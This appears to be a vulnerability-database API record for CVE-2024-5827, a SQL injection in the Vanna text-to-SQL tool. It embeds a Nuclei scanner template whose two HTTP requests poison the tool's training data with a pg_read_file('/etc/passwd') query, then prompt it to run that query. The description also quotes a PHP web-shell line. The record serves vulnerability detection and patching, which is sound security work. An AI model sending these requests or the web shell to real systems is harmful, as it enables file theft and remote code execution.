{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-5827/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-5827/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-5827/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-5827/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-5827/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-5827"},"sightings":{"href":"/api/v1/sightings/cve-2024-5827"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-5827.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-5827\n\ninfo:\n  name: Vanna - SQL injection\n  author: olfloralo,nukunga,harksu,nechyo,gy741\n  severity: critical\n  description: |\n    Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.\n  impact: |\n    Unauthenticated attackers can exploit SQL injection to inject malicious training data and write arbitrary files on the victim's filesystem, including PHP backdoors, leading to remote code execution.\n  remediation: |\n    Update Vanna to version 0.3.5 or later to address the SQL injection vulnerability in the DuckDB integration.\n  reference:\n    - https://huntr.com/bounties/a3f913d6-c717-4528-b974-26d8d9e839ca\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-5827\n    - https://huntr.com/bounties/e4e64a51-618b-41d0-8f56-1d2146d8825e\n    - https://github.com/fkie-cad/nvd-json-data-feeds\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-5827\n    cwe-id: CWE-434\n    epss-score: 0.03424\n    epss-percentile: 0.88399\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: body='vanna.ai'\n  tags: cve,cve2024,vanna,sqli,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/v0/train HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"sql\":\"SELECT pg_read_file('/etc/passwd', 0, 1000);\"}\n\n    matchers:\n      - type: word\n        words:\n          - 'id\":'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file? HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: header\n        words:\n          - 'application/json'\n# digest: 4a0a0047304502207573214f1ae3db8e766a0be3b0cc2d715f569d01bc609096efadc0bf6e7c3e3f022100b98b29f11437ed3721e04a451342c8902d91b94119060648a10dd553a9f48d3f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-5827"}